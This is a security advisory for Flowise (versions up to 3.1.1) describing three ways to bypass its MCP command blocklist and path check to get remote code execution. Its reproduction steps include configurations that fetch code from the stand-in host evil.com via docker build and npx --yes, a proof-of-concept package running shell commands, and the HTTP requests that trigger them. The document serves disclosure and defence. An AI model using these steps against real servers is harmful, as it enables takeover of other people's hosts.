GHSA-m99r-2hxc-cp3qHighDisclosed before NVD
Flowise has an MCP Security Bypass that Enables RCE
📋 Description
## Summary
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods
## Details
### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution
The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the docker command
Vulnerable function - validateCommandFlags:
```
file: packages/components/nodes/tools/MCP/core.ts:260-310
const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
docker: [
'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
'--security-opt', '--network', '--pid', '--ipc'
// 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
],
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
// ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
for (const arg of args) {
if (blacklist.includes(arg)) {
return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
}
}
return { valid: true }
}
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
After execution, the command can be triggered to execute docker build http://evil.com
<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />
If a privileged container is deployed, then it can fully control the Flowise host machine
### 【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution
The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]}
→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes
→ npx --yes malicious-package automatically agrees to install and execute any npm package
→ Leads to remote code execution (RCE) on the server
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the npx command
npx blocklist:
```
file: packages/components/nodes/tools/MCP/core.ts:270-280
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
// Only the short parameter -y is present, without the long parameter alias --yes
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />
```
{
"command": "npx",
"args":["--yes", "http://evil.com/FileName.tar"]
}
```
Contents of the tar file:
```
// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');
const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);
// package.json
{
"name": "attacker-mcp-pkg",
"version": "1.0.0",
"bin": {
"attacker-mcp-pkg": "./index.js"
},
"scripts": {
"postinstall": ""
}
}
```
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
can trigger the vulnerability, execute the attacker's commands, and achieve RCE:
<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />
### node command bypassing local file restrictions leads to remote code execution
When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]}
→ Bypass the security restrictions of validateArgsForLocalFileAccess
→ Node process loads local files and executes arbitrary code → RCE
Precondition:
Have a Flowise account
Analysis of Vulnerable Code:
```
// packages/components/nodes/tools/MCP/core.ts:177-220
export const validateArgsForLocalFileAccess = (args: string[]): void => {
const dangerousPatterns = [
// Absolute paths
/^\/[^/]/, // Unix absolute paths starting with /
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
// Relative paths that could escape current directory
/\.\.\//, // Parent directory traversal with ../
/\.\.\\/, // Parent directory traversal with ..\
/^\.\./, // Starting with ..
// Local file access patterns
/^\.\//, // Current directory with ./
/^~\//, // Home directory with ~/
/^file:\/\//, // File protocol
// Common file extensions that shouldn't be accessed
/\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,
// File flags and options that could access local files
/^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
/^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
]
```
The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue
As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')
<img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" />
Therefore, the limitation of this function can be bypassed by starting with //
** Reproduction process: **
Create a new chatflow as follows:
<img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" />
After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory
orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:
<img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" />
For example:
```
~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js
```
Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:
<img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" />
```
POST /api/v1/export-import/import HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479
{
"ChatMessage": [
{
"id": "11111111-2222-4333-8444-555555555555",
"role": "userMessage",
"chatflowid": "{chatflow_id}",
"content": "seed for home path test",
"chatType": "EXTERNAL",
"chatId": "audit-home-001",
"createdDate": "2026-03-04T06:40:00.000Z",
"fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
}
]
}
```
<img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" />
```
POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57
{"chatflowId":"{chatflow_id}"}
```
After obtaining the absolute path, simply modify the path in args to the path of the file name:
```
{
"command": "node",
"args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
}
```
After saving, execution will trigger RCE
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
## Impact
This vulnerability allows attackers to execute arbitrary commands on the Flowise server .
🎯 Affected products2
- npm/flowise:<= 3.1.1
- npm/flowise-components:<= 3.1.1